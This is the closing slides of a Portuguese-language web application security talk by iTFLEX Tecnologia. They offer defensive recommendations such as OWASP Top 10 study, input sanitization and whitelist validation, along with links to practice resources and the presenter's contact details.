  • 27. iTFLEX Tecnologia http://www.itflex.com.br Recomendações Assuma que você também é responsável Estude o OWASP TOP10: http://goo.gl/ZKj23a Faça o tratamento das entradas e da saídas Sanitize Inputs -> Higienizar entradas Canonicalize Inputs -> Passar para codificação única Validação sempre por whitelist Minimize o privilégios da aplicação (Somente o necessário)
  • 28. iTFLEX Tecnologia http://www.itflex.com.br Recomendações Atenção, NÃO FUNCIONA: Validação de entradas por Java Script Confiar no método POST no lugar do GET HTTPs não garante a segurança da aplicação, garante apenas a confidencialidade do canal do usuário
  • 29. iTFLEX Tecnologia http://www.itflex.com.br Recomendações Aplicações WEB dependem de uma base segura SO, Servidor de Aplicação, Bibliotecas Evite usar comandos do sistema operacional, procure utilizar as funções ou bibliotecas da linguagem mv, cp, ls, du, etc...
  • 30. iTFLEX Tecnologia http://www.itflex.com.br Recomendações Pratique: OWASP Broken Web Applications Project: http://goo.gl/75j5PF Pesquise sobre os recursos de segurança da sua linguagem Exemplo: http://www.pythonsecurity.org/ Python x Owasp Top 10: http://goo.gl/xXlZcy ESAPI: OWASP Enterprise Security API http://goo.gl/6dumHS Youtube: OWASP Appsec Tutorial Series http://goo.gl/W1GrVJ
  • 31. iTFLEX Tecnologia http://www.itflex.com.br Recomendações Insira a segurança no ciclo de desenvolvimento do software
  • 32. iTFLEX Tecnologia http://www.itflex.com.br FIM, Perguntas? Obrigado pela atenção Carlos Diego Russo Medeiros cdiego@itflex.com.br / cdiego@gmail.com http://br.linkedin.com/in/cadiego (47) 3029-3388 Fonte: http://www.seginfo.com.br Tradução de: http://xkcd.com/327/